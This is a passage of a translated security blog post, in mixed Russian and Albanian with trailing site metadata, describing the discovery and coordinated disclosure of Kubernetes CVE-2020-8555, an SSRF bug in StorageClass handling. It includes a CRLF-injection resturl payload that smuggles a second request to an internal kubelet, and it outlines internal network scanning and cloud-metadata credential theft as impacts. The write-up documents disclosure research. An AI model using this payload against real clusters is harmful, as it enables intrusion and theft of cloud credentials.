\u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u043e\u0447\u0435\u043d\u044c \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u043d \u0438 \u043d\u0435 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c \u0441 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0441\u043a\u0430\u043d\u0435\u0440\u0430\u043c\u0438 \u0438 SSRF-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438, \u043c\u044b \u0440\u0435\u0448\u0438\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 worker&#8217;\u044b \u0432 bash-\u0441\u043a\u0440\u0438\u043f\u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u044e\u0442 \u0432\u0435\u0441\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441.<\/p>\n<p>\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0442\u043e\u0431\u044b \u0431\u044b\u0441\u0442\u0440\u0435\u0435 \u043f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d 172.16.0.0\/12 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438, \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0438\u0441\u044c 15 worker&#8217;\u043e\u0432. \u0412\u044b\u0448\u0435\u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d IP \u0431\u044b\u043b \u0432\u044b\u0431\u0440\u0430\u043d \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d \u043d\u0430 IP-\u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0443\u0441\u043b\u0443\u0433.<\/p>\n<p>P\u00ebr t\u00eb skanuar nj\u00eb adres\u00eb IP dhe nj\u00eb port, duhet t\u00eb b\u00ebni si m\u00eb posht\u00eb:<\/p>\n<ul>\n<li> t\u00eb fshihet StorageClass i verifikuar her\u00ebn e kaluar;<\/li>\n<li> t\u00eb fshihet Persistent Volume Claim i verifikuar m\u00eb par\u00eb;<\/li>\n<li> t\u00eb ndryshohen vlerat IP dhe Port n\u00eb <code>sc.yaml<\/code>;<\/li>\n<li> t\u00eb krijohet nj\u00eb StorageClass me IP dhe port t\u00eb rinj;<\/li>\n<li> krijo PVC t\u00eb ri;<\/li>\n<li> \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e describe&#8217;\u0430 \u0434\u043b\u044f PVC.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Skema e avancuar Nr. 3: injeksioni CRLF + abuzimi me HTTP n\u00eb versionet \"e vjetra\" t\u00eb klasterit Kubernetes<\/h3>\n<p>\nN\u00ebse p\u00ebrve\u00e7 k\u00ebsaj ofruesi ofronte versione t\u00eb vjetra t\u00eb klasterit K8s <b>dhe<\/b> u jepte atyre akses n\u00eb log-et e kube-controller-manager, efekti b\u00ebhej edhe m\u00eb i duksh\u00ebm.<\/p>\n<p>P\u00ebr sulmuesin, \u00ebsht\u00eb shum\u00eb m\u00eb e leht\u00eb t\u00eb ndryshoj\u00eb sipas d\u00ebshir\u00ebs k\u00ebrkesat HTTP, t\u00eb destinuara p\u00ebr t\u00eb marr\u00eb nj\u00eb p\u00ebrgjigje t\u00eb plot\u00eb HTTP.<\/p>\n<p><img decoding=\"async\" alt=\"Kur \u00e7\u00ebshtja nuk \u00ebsht\u00eb vet\u00ebm nj\u00eb dob\u00ebsi n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nP\u00ebr t\u00eb realizuar skenarin e fundit, duhet t\u00eb p\u00ebrmbushen kushtet e m\u00ebposhtme:<\/p>\n<ul>\n<li> P\u00ebrdoruesi duhet t\u00eb ket\u00eb akses n\u00eb log-et e kube-controller-manager (si, p\u00ebr shembull, n\u00eb Azure LogInsights).<\/li>\n<li> Klasteri Kubernetes duhet t\u00eb p\u00ebrdor\u00eb nj\u00eb version t\u00eb Golang n\u00ebn 1.12.<\/li>\n<\/ul>\n<p>\nKrijuam nj\u00eb ambient lokal q\u00eb imiton shk\u00ebmbimin e t\u00eb dh\u00ebnave midis klientit Go GlusterFS dhe nj\u00eb serveri t\u00eb rrem\u00eb (meqe po e ndalojm\u00eb publikimin e PoC).<\/p>\n<p>U zbulua <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">vulnerabiliteti<\/a><\/noindex>, q\u00eb prekte versionet e Golang n\u00ebn 1.12 dhe lejonte haker\u00ebt t\u00eb kryejn\u00eb sulme t\u00eb tipit HTTP smuggling\/CRLF.<\/p>\n<p>Kombinimi i SSRF-t\u00eb gjysm\u00eb t\u00eb verb\u00ebr t\u00eb p\u00ebrshkruar m\u00eb sip\u00ebr <b>bashk\u00eb<\/b> me k\u00ebt\u00eb, ne arrit\u00ebm t\u00eb d\u00ebrgojm\u00eb k\u00ebrkesa sipas d\u00ebshirave tona, duke p\u00ebrfshir\u00eb ndryshimin e titujve, metod\u00ebn HTTP, parametrat dhe t\u00eb dh\u00ebnat, t\u00eb cilat kube-controller-manager m\u00eb pas i p\u00ebrpunonte.<\/p>\n<p>Ja nj\u00eb shembull i funksionit \u00abt\u00eb joshur\u00bb n\u00eb parametrin <code>resturl<\/code> StorageClass&#8217;\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0430\u0442\u0430\u043a\u0438:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1rnConnection: keep-\nalivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET \/pods? HTTP\/1.1rnHost: 172.31.X.1:10255rnrn<\/code><\/pre>\n<p>\nSi rezultat lind nj\u00eb gabim <b>p\u00ebrgjigje e papritur<\/b>, mesazhi i t\u00eb cilit regjistrohet n\u00eb logjet e kontrolluesit. Fal\u00eb 'ngaz\u00ebllim\u00ebsis\u00eb' t\u00eb p\u00ebrfshir\u00eb nga default, aty ruhet gjithashtu p\u00ebrmbajtja e p\u00ebrgjigjes HTTP.<\/p>\n<p><img decoding=\"async\" alt=\"Kur \u00e7\u00ebshtja nuk \u00ebsht\u00eb vet\u00ebm nj\u00eb dob\u00ebsi n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nKjo ishte strategjia jon\u00eb m\u00eb efektive n\u00eb kuad\u00ebr t\u00eb prov\u00ebs s\u00eb konceptit.<\/p>\n<p>Duke p\u00ebrdorur nj\u00eb qasje t\u00eb till\u00eb, ne arrit\u00ebm t\u00eb realizojm\u00eb disa nga sulmet e m\u00ebposhtme n\u00eb klasteret e ndryshme t\u00eb ofruesve managed k8s: rritje privilegjesh me marrjen e kredencialeve n\u00eb instancat e metadata, DoS t\u00eb masterit p\u00ebrmes k\u00ebrkesave (t\u00eb pa-kriptuara) HTTP n\u00eb instancat master t\u00eb etcd etj.<\/p>\n<h2>Pasojat<\/h2>\n<p>\nN\u00eb deklarat\u00ebn zyrtare t\u00eb Kubernetes p\u00ebr dob\u00ebsin\u00eb SSRF q\u00eb ne zbulonim, i \u00ebsht\u00eb dh\u00ebn\u00eb nj\u00eb pik\u00ebzim <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. N\u00ebse shqyrtojm\u00eb vet\u00ebm vulnerabilitetin e lidhur me perimetrin e Kubernetes, vektori i integritetit <i>(vektori i integritetit)<\/i> kualifikohet si <b>Asnj\u00eb<\/b>.<\/p>\n<p>Megjithat\u00eb, vler\u00ebsimi i pasojave t\u00eb mundshme n\u00eb kontekstin e nj\u00eb mjedisi sh\u00ebrbimi t\u00eb menaxhuar (dhe kjo ishte pjesa m\u00eb interesante e hulumtimit ton\u00eb!) na shtyu t\u00eb rishikojm\u00eb vulnerabilitetin n\u00eb nj\u00eb rang <b>Kritik CVSS10\/10<\/b> p\u00ebr shum\u00eb distributor\u00eb.<\/p>\n<p>M\u00eb posht\u00eb \u00ebsht\u00eb informacion shtes\u00eb q\u00eb do t\u00eb ndihmoj\u00eb n\u00eb kuptimin e asaj q\u00eb na udh\u00ebhoqi n\u00eb vler\u00ebsimin e pasojave t\u00eb mundshme n\u00eb mjediset n\u00eb cloud:<\/p>\n<h3>Integriteti<\/h3>\n<p><\/p>\n<ul>\n<li> Ekzekutimi i komandeve n\u00eb distanc\u00eb duke p\u00ebrdorur kredencialet e brendshme t\u00eb fituara.<\/li>\n<li> Riprodhimi i skenarit t\u00eb p\u00ebrmendur m\u00eb lart p\u00ebrmes metod\u00ebs IDOR (Insecure Direct Object Reference, dometh\u00ebn\u00eb lidhjet e drejtp\u00ebrdrejta t\u00eb pasigurta p\u00ebr objekte) me burime t\u00eb tjera t\u00eb zbuluara n\u00eb rrjetin lokal.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Konfidencialiteti<\/h3>\n<p><\/p>\n<ul>\n<li> Sulmi i tipit <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">L\u00ebvizja laterale<\/a><\/noindex> fal\u00eb vjedhjes s\u00eb kredencialeve t\u00eb cloud-it (p.sh., metadata API).<\/li>\n<li> Marrja e informacionit p\u00ebrmes skanimit t\u00eb rrjetit lokal (identifikimi i versionit t\u00eb SSH, versionit t\u00eb serverit HTTP, \u2026).<\/li>\n<li> Mblidhni informacionin mbi instancat dhe infrastruktur\u00ebn duke pyetur API-t\u00eb e brendshme, si metadata API (<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> Vjedhja e t\u00eb dh\u00ebnave t\u00eb klient\u00ebve p\u00ebrmes akreditimeve t\u00eb cloud.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Disponueshm\u00ebria<\/h3>\n<p>\nT\u00eb gjitha skenar\u00ebt e p\u00ebrdorimit t\u00eb exploiteve, t\u00eb lidhura me vektor\u00ebt e sulmit mbi <b>integritetin<\/b>, mund t\u00eb p\u00ebrdoren p\u00ebr veprime shkat\u00ebrruese dhe t\u00eb \u00e7ojn\u00eb n\u00eb at\u00eb q\u00eb master-instatns t\u00eb jashtme (ose ndonj\u00eb tjet\u00ebr) t\u00eb b\u00ebhen t\u00eb pap\u00ebrfshir\u00eb.<\/p>\n<p>Pasi ishim n\u00eb nj\u00eb mjedis t\u00eb menaxhuar K8s dhe vler\u00ebsuam ndikimin n\u00eb integritetin, mund t\u00eb imagjinojm\u00eb shum\u00eb skenar\u00eb q\u00eb mund t\u00eb ndikojn\u00eb n\u00eb disponueshm\u00ebrin\u00eb. Si shembuj t\u00eb tjer\u00eb mund t\u00eb p\u00ebrmendim d\u00ebmtimin e baz\u00ebs s\u00eb t\u00eb dh\u00ebnave etcd ose b\u00ebrjen e nj\u00eb thirrjeje kritike n\u00eb API-n\u00eb Kubernetes.<\/p>\n<h2>Kronologjia<\/h2>\n<p><\/p>\n<ul>\n<li> 6 Dhjetor 2019: d\u00ebrgimi i nj\u00eb mesazhi mbi zbulimin e nj\u00eb dob\u00ebsie n\u00eb MSRC Bug Bounty.<\/li>\n<li> 3 Janar 2020: nj\u00eb pal\u00eb e tret\u00eb informoi zhvilluesit e Kubernetes se ne po punonim mbi nj\u00eb problem n\u00eb fush\u00ebn e siguris\u00eb. Dhe i k\u00ebrkoi ata ta konsideronin SSRF si nj\u00eb dob\u00ebsi t\u00eb brendshme (in-core). Pas k\u00ebsaj, ne paraqit\u00ebm nj\u00eb raport t\u00eb p\u00ebrgjithsh\u00ebm me detaje teknike mbi burimin e problemit.<\/li>\n<li> 15 janar 2020: ne ofruam zhvilluesve t\u00eb Kubernetes raporte teknike dhe t\u00eb p\u00ebrgjithshme sipas k\u00ebrkes\u00ebs s\u00eb tyre (n\u00ebp\u00ebrmjet platform\u00ebs HackerOne).<\/li>\n<li> 15 janar 2020: zhvilluesit e Kubernetes na informuan se SSRF gjysm\u00eb-qorr + injeksioni CRLF p\u00ebr versionet e m\u00ebparshme konsiderohet nj\u00eb dob\u00ebsi in-core. Ne menj\u00ebher\u00eb ndaluam analiz\u00ebn e perimetrave t\u00eb ofruesve t\u00eb tjer\u00eb t\u00eb sh\u00ebrbimeve: shkaku fillestar tani ishte n\u00eb duar t\u00eb ekipit K8s.<\/li>\n<li> 15 janar 2020: p\u00ebrmes HackerOne \u00ebsht\u00eb marr\u00eb nj\u00eb shp\u00ebrblim nga MSRC.<\/li>\n<li> 16 janar 2020: Kubernetes PSC (Komiteti i Siguris\u00eb s\u00eb Produktit) pranoi dob\u00ebsin\u00eb dhe k\u00ebrkoi ta mbaj\u00eb at\u00eb t\u00eb fsheht\u00eb deri n\u00eb mes t\u00eb marsit p\u00ebr shkak t\u00eb numrit t\u00eb madh t\u00eb viktimave t\u00eb mundshme.<\/li>\n<li> 11 shkurt 2020: \u00ebsht\u00eb marr\u00eb nj\u00eb shp\u00ebrblim nga Google VRP.<\/li>\n<li> 4 mars 2020: p\u00ebrmes HackerOne \u00ebsht\u00eb marr\u00eb nj\u00eb shp\u00ebrblim nga Kubernetes.<\/li>\n<li> 15 mars 2020: shp\u00ebrndarja fillimisht e planifikuar e informacionit \u00ebsht\u00eb shtyr\u00eb p\u00ebr shkak t\u00eb situat\u00ebs me COVID-19.<\/li>\n<li> 1 qershor 2020: nj\u00eb deklarat\u00eb e p\u00ebrbashk\u00ebt nga Kubernetes + Microsoft mbi dob\u00ebsin\u00eb.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> Ne po pim\u00eb birr\u00eb dhe ham\u00eb pizz\u00eb \ud83d\ude42<\/li>\n<li> Ne zbuluam nj\u00eb dob\u00ebsi in-core n\u00eb Kubernetes, p\u00ebrkund\u00ebr faktit se nuk e kishim planifikuar at\u00eb.<\/li>\n<li> Ne kemi b\u00ebr\u00eb nj\u00eb analiz\u00eb t\u00eb thelluar n\u00eb klasteret e ofruesve t\u00eb ndrysh\u00ebm t\u00eb cloud dhe arrit\u00ebm t\u00eb rrisnim d\u00ebmin q\u00eb shkaktonte dob\u00ebsia, n\u00eb m\u00ebnyr\u00eb q\u00eb t\u00eb fitonim bonuse ekstra t\u00eb mahnitshme.<\/li>\n<li> N\u00eb k\u00ebt\u00eb artikull do t\u00eb gjeni shum\u00eb detaje teknike. Ne do t\u00eb do ishim t\u00eb lumtur t'i diskutonim ato me ju (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Doli se t\u00eb gjitha formalitetet dhe p\u00ebrgatitja e raporteve z\u00ebn\u00eb shum\u00eb m\u00eb tep\u00ebr koh\u00eb se sa pritej.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Linke<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Grupi Google kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang issue #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. nga p\u00ebrkthyesi<\/h2>\n<p>\nLexoni gjithashtu n\u00eb blogun ton\u00eb:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">Gjuetia p\u00ebr gabime n\u00eb Kubernetes \u00ebsht\u00eb shpallur zyrtarisht<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">\u0412\u044b\u0445\u043e\u0434 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b pod&#8217;\u0430 \u0432 Kubernetes \u0447\u0435\u0440\u0435\u0437 \u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043b\u043e\u0433\u043e\u0432<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ mjete p\u00ebr sigurin\u00eb n\u00eb Kubernetes<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Burimi: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 4.9.10 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 4.9.10\" \/>\n\t\t<meta property=\"og:locale\" content=\"sq_AL\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" 